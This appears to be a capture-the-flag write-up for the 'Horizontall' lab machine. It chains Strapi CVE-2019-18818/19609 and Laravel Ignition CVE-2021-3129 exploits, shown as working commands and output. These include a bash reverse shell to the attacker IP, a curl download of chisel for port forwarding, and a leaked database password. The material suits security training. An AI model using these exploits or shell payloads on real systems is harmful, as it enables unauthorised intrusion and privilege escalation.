Horizontall
10 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.105
- Release: 28 / 08 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.105 -p 22,80
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.27 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
The website is redirecting to http://horizontall.htb
, so let’s put the domain in /etc/hosts
. Then we can see a web application built with Vue.js (a JavaScript front-end framework):
However, the only interesting thing is a JavaScript file containing a URL for http://api-prod.horizontall.htb
(we are able to find it searching for "horizontall.htb"
):
So let’s add this subdomain again to /etc/hosts
. In this subdomain we see a simple web application like the next one:
Running gobuster
we enumerate some routes:
$ gobuster dir -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -q -r -u http://api-prod.horizontall.htb
/reviews (Status: 200) [Size: 507]
/users (Status: 403) [Size: 60]
/admin (Status: 200) [Size: 854]
API enumeration
The first two routes return a JSON output:
$ curl -s api-prod.horizontall.htb/users | jq
{
"statusCode": 403,
"error": "Forbidden",
"message": "Forbidden"
}
$ curl -s api-prod.horizontall.htb/reviews | jq
[
{
"id": 1,
"name": "wail",
"description": "This is good service",
"stars": 4,
"created_at": "2021-05-29T13:23:38.000Z",
"updated_at": "2021-05-29T13:23:38.000Z"
},
{
"id": 2,
"name": "doe",
"description": "i'm satisfied with the product",
"stars": 5,
"created_at": "2021-05-29T13:24:17.000Z",
"updated_at": "2021-05-29T13:24:17.000Z"
},
{
"id": 3,
"name": "john",
"description": "create service with minimum price i hop i can buy more in the futur",
"stars": 5,
"created_at": "2021-05-29T13:25:26.000Z",
"updated_at": "2021-05-29T13:25:26.000Z"
}
]
And the /admin
endpoint redirects to /admin/auth/login
and shows a login form made with Strapi. However, we cannot do anything here yet. Default credentials do not work.
We can check all the requests done when accessing /admin
from the browser developer tools. There is one pointing to /admin/init
that responds with some information, including the Strapi version:
$ curl -s api-prod.horizontall.htb/admin/init | jq
{
"data": {
"uuid": "a55da3bd-9693-4a08-9279-f9df57fd1817",
"currentEnvironment": "development",
"autoReload": false,
"strapiVersion": "3.0.0-beta.17.4"
}
}
With this information, we can look for exploits and vulnerabilities for this Strapi version. There are two that apply to the situation. The first one allows to reset the admin
password without authentication (CVE-2019-18818), and the other one triggers Remote Code Execution (RCE), but needs authentication as administrator (CVE-2019-19609).
Foothold
This blog explains the reset password vulnerability. There is a Python script that automates it. This exploit returns the JSON Web Token (JWT) that we need to be authenticated. And thus the JWT is needed for the second exploit, which can be found here.
Exploiting Strapi
To gain RCE in Strapi, I have joined the two exploits into a Python script called rce_strapi.py
(detailed explanation here).
We also need the email for admin
, but we can guess that it is admin@horizontall.htb
.
If we execute the script, the password will be reset to the provided one (asdfasdfasdf
). And then we get access to the machine using nc
:
$ python3 rce_strapi.py 10.10.17.44 4444
[*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
[*] Sending password reset request...
[*] Setting new password...
[*] Response: {"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMTg5ODcyLCJleHAiOjE2MzI3ODE4NzJ9.4_HRMhnzA9CEcw6-p2uCOKJWTxpRkCiMaWiNfGDWKRc","user":{"id":3,"username":"admin","email":"admin@horizontall.htb","blocked":null}}
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.105.
Ncat: Connection from 10.10.11.105:40764.
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
strapi@horizontall:~/myapi$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
strapi@horizontall:~/myapi$ export TERM=xterm
strapi@horizontall:~/myapi$ export SHELL=bash
strapi@horizontall:~/myapi$ stty rows 50 columns 158
System enumeration
Now from the machine, we see that there is a user called developer
. However, we are able list its personal directory and capture the user.txt
flag:
strapi@horizontall:~/myapi$ ls /home
developer
strapi@horizontall:~/myapi$ ls -la /home/developer/
total 108
drwxr-xr-x 8 developer developer 4096 Aug 2 12:07 .
drwxr-xr-x 3 root root 4096 May 25 11:43 ..
lrwxrwxrwx 1 root root 9 Aug 2 12:05 .bash_history -> /dev/null
-rw-r----- 1 developer developer 242 Jun 1 12:53 .bash_logout
-rw-r----- 1 developer developer 3810 Jun 1 12:47 .bashrc
drwx------ 3 developer developer 4096 May 26 12:00 .cache
-rw-rw---- 1 developer developer 58460 May 26 11:59 composer-setup.php
drwx------ 5 developer developer 4096 Jun 1 11:54 .config
drwx------ 3 developer developer 4096 May 25 11:45 .gnupg
drwxrwx--- 3 developer developer 4096 May 25 19:44 .local
drwx------ 12 developer developer 4096 May 26 12:21 myproject
-rw-r----- 1 developer developer 807 Apr 4 2018 .profile
drwxrwx--- 2 developer developer 4096 Jun 4 11:21 .ssh
-r--r--r-- 1 developer developer 33 Aug 28 21:38 user.txt
lrwxrwxrwx 1 root root 9 Aug 2 12:07 .viminfo -> /dev/null
strapi@horizontall:~/myapi$ cat /home/developer/user.txt
8737d52fd79f838b0e4dc682bc8a28d9
There is an interesting file called composer-setup.php
and a folder called myproject
, but we are not able to read them.
We can check for credentials in the source code for the Strapi webapp. Indeed, we can find MySQL credentials as follows:
strapi@horizontall:~/myapi$ ls -la
total 648
drwxr-xr-x 9 strapi strapi 4096 Jul 29 2021 .
drwxr-xr-x 10 strapi strapi 4096 Feb 3 15:07 ..
drwxr-xr-x 3 strapi strapi 4096 May 29 2021 api
drwxrwxr-x 2 strapi strapi 12288 May 26 2021 build
drwxrwxr-x 5 strapi strapi 4096 May 26 2021 .cache
drwxr-xr-x 5 strapi strapi 4096 Jul 29 2021 config
-rw-r--r-- 1 strapi strapi 249 May 26 2021 .editorconfig
-rw-r--r-- 1 strapi strapi 32 May 26 2021 .eslintignore
-rw-r--r-- 1 strapi strapi 541 May 26 2021 .eslintrc
drwxr-xr-x 3 strapi strapi 4096 May 26 2021 extensions
-rw-r--r-- 1 strapi strapi 1150 May 26 2021 favicon.ico
-rw-r--r-- 1 strapi strapi 1119 May 26 2021 .gitignore
drwxrwxr-x 1099 strapi strapi 36864 Aug 3 2021 node_modules
-rw-rw-r-- 1 strapi strapi 1009 May 26 2021 package.json
-rw-rw-r-- 1 strapi strapi 552845 May 26 2021 package-lock.json
drwxr-xr-x 3 strapi strapi 4096 Jun 2 2021 public
-rw-r--r-- 1 strapi strapi 69 May 26 2021 README.md
strapi@horizontall:~/myapi$ ls -la config/
total 40
drwxr-xr-x 5 strapi strapi 4096 Jul 29 04:24 .
drwxr-xr-x 9 strapi strapi 4096 Jul 29 04:29 ..
-rw-r--r-- 1 strapi strapi 136 May 26 14:31 application.json
-rw-r--r-- 1 strapi strapi 110 May 26 14:31 custom.json
drwxr-xr-x 5 strapi strapi 4096 May 26 14:31 environments
drwxr-xr-x 3 strapi strapi 4096 May 26 14:31 functions
-rw-r--r-- 1 strapi strapi 188 May 26 14:31 hook.json
-rw-r--r-- 1 strapi strapi 173 May 26 14:31 language.json
drwxr-xr-x 2 strapi strapi 4096 May 26 14:31 locales
-rw-r--r-- 1 strapi strapi 317 May 26 14:31 middleware.json
strapi@horizontall:~/myapi$ ls -la config/environments/
total 20
drwxr-xr-x 5 strapi strapi 4096 May 26 14:31 .
drwxr-xr-x 5 strapi strapi 4096 Jul 29 04:24 ..
drwxr-xr-x 2 strapi strapi 4096 Jul 29 04:38 development
drwxr-xr-x 2 strapi strapi 4096 Jul 29 04:24 production
drwxr-xr-x 2 strapi strapi 4096 May 26 14:31 staging
strapi@horizontall:~/myapi$ ls -la config/environments/development/
total 32
drwxr-xr-x 2 strapi strapi 4096 Jul 29 04:38 .
drwxr-xr-x 5 strapi strapi 4096 May 26 14:31 ..
-rw-r--r-- 1 strapi strapi 135 May 26 14:31 custom.json
-rw-rw-r-- 1 strapi strapi 351 May 26 14:31 database.json
-rw-r--r-- 1 strapi strapi 439 May 26 14:31 request.json
-rw-r--r-- 1 strapi strapi 164 May 26 14:31 response.json
-rw-r--r-- 1 strapi strapi 529 May 26 14:31 security.json
-rw-r--r-- 1 strapi strapi 159 May 26 14:31 server.json
strapi@horizontall:~/myapi$ cat config/environments/development/database.json
{
"defaultConnection": "default",
"connections": {
"default": {
"connector": "strapi-hook-bookshelf",
"settings": {
"client": "mysql",
"database": "strapi",
"host": "127.0.0.1",
"port": 3306,
"username": "developer",
"password": "#J!:F9Zt2u"
},
"options": {}
}
}
}
Unfortunately, there is nothing to do here, since the admin
password was reset with the previous exploit and there are no more databases but strapi
:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| strapi |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> quit
Bye
Here is where we need to recall the PHP file and the project we saw in /home/developer
. Let’s do a port scanning from inside the machine using a simple Bash script:
strapi@horizontall:~/myapi$ cd /tmp
strapi@horizontall:/tmp$ echo -e '#!/bin/bash\n\nfor i in $(seq 1 65535); do\n timeout 1 echo 2>/dev/null > /dev/tcp/127.0.0.1/$i && echo "Port $i: open" &\ndone; wait' > .scan.sh
strapi@horizontall:/tmp$ chmod +x .scan.sh
strapi@horizontall:/tmp$ cat .scan.sh
#!/bin/bash
for i in $(seq 1 65535); do
timeout 1 echo 2>/dev/null > /dev/tcp/127.0.0.1/$i && echo "Port $i: open" &
done; wait
strapi@horizontall:/tmp$ ./.scan.sh
Port 22: open
Port 80: open
Port 1337: open
Port 3306: open
Port 8000: open
Port 57900: open
A simpler way to enumerate open ports is with netstat
:
strapi@horizontall:/tmp$ netstat -nat | grep LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
And there are more ports that were not exposed (and thus not reported by nmap
).
Port 1337 contains the website for http://api-prod.horizontall.htb
, because it is configured in the nginx server:
strapi@horizontall:/tmp$ cat /etc/nginx/sites-enabled/horizontall.htb
server {
# server block for 'horizontall.htb' domain
listen 80;
listen [::]:80;
server_name horizontall.htb www.horizontall.htb;
root /var/www/html/horizontall;
index index.html index.htm;
location / {
try_files $uri $uri/ =404;
}
}
server {
listen [::]:80;
listen 80;
server_name api-prod.horizontall.htb;
location / {
proxy_pass http://localhost:1337;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
server {
# server block for all the other requests
# this block will be a default server block listening on port 80
listen 80 default_server;
listen [::]:80 default_server;
# close the connection immediately
return 301 http://horizontall.htb;
}
Privilege escalation
We can check that http://localhost:8000
contains a website built with Laravel (a PHP web framework):
strapi@horizontall:/tmp$ curl -I 127.0.0.1:8000
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date:
Connection: close
X-Powered-By: PHP/7.4.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkRsV2pwUEV3Q20zVlFQZzh4Y2JlblE9PSIsInZhbHVlIjoibkdhcjM0U2pNTWErUXQzUkdUSDZWL2FiZnIvS2J2cjFEWGlYRjBvZEdDZElZZGt4OGJOUnhVdWJXdndiL2ZnSXNiZWI3ejl2dXczVVdXT1JKQ0h6TDllUy95RzBhRE1qSDRaYmZmWlBkTGNVbHhXUDIwT2xHM1pyN0huQ3BrNlUiLCJtYWMiOiI1NjYxZGM2NWFiZGNhMWNmZmIwMGQwMzZhZjYzZTkyYTgzNGY2ZWJkYTdlYmQ4OGVjZTBlYmNmYjY3ZGM3MGNkIn0%3D; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IlkyV3AxWUZ3U3ozL0RnTkNwalQ2SWc9PSIsInZhbHVlIjoialFWbE00dzNCa01yeXUxaEU4c08ydU05M1F4WHUzbFp3eUNDLzNFVWNXcGd0YVM4SW9FTHdkVW4xR2Z0V3lxeWx1d2taMFMvdFV5SThDVWNTcFdkT3dXZVBBcnVMS2FuVmlXdTI3aFFVNWF6b0hVYzJYdThZSmJiZmJXQ1ZxNXkiLCJtYWMiOiI3MTI0NTk1ZDE5NzE4N2YwYzAwM2MwOWJlY2NiMDFkMmU5YTY2ZTliNWU1MTk4OTAxNmM0YWQ4M2M0YjA5YWRmIn0%3D; Max-Age=7200; path=/; httponly; samesite=lax
Port forwarding
At this point, it is helpful to run chisel
to perform a port forwarding of port 8000 to the attacker machine:
$ ./chisel server -p 1337 --reverse
server: Reverse tunnelling enabled
server: Fingerprint lEVau5AqQ5yJn+cIJcdKHCOmSYVFY67kTuCt1JtmjtY=
server: Listening on http://0.0.0.0:1337
server: session#1: tun: proxy#R:8000=>8000: Listening
strapi@horizontall:/tmp$ curl 10.10.17.44/chisel -o .chisel
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2315k 100 2315k 0 0 402k 0 0:00:05 0:00:05 --:--:-- 409k
strapi@horizontall:/tmp$ chmod +x .chisel
strapi@horizontall:/tmp$ ./.chisel client 10.10.17.44:1337 R:8000:127.0.0.1:8000
client: Connecting to ws://10.10.17.44:1337
client: Connected (Latency 109.928393ms)
Exploiting Laravel
Now, we can access the Laravel website from the attacker machine via http://127.0.0.1:8000
:
The website shows that it is using Laravel v8 (PHP v7.4.18). Again, we can find an exploit for this version. The one from ExploitDB did not work properly, but there is another one explained here (CVE-2021-3129), which has a link to the exploit.
First, we need to clone another repository (apart from the exploit) to have phpggc
. Then we can follow the steps shown in the exploit and gain Remote Code Execution (RCE).
As a proof of concept, let’s try to execute the command id
:
$ git clone https://github.com/ambionics/phpggc
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar --fast-destruct -o ./exploit.phar monolog/rce1 system id
$ python3 laravel-ignition-rce.py http://localhost:8000 ./exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared
And we see that we are root
.
So, let’s execute the exploit again to obtain a reverse shell on the machine:
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar --fast-destruct -o ./exploit.phar monolog/rce1 system "bash -c 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1'"
$ python3 laravel-ignition-rce.py http://localhost:8000 ./exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
And finally, we have root
access to the machine and we can read the root.txt
flag:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.105.
Ncat: Connection from 10.10.11.105:49338.
bash: cannot set terminal process group (17432): Inappropriate ioctl for device
bash: no job control in this shell
root@horizontall:/home/developer/myproject/public# cat /root/root.txt
0d37c358b4147cb69b83ef1aa753655f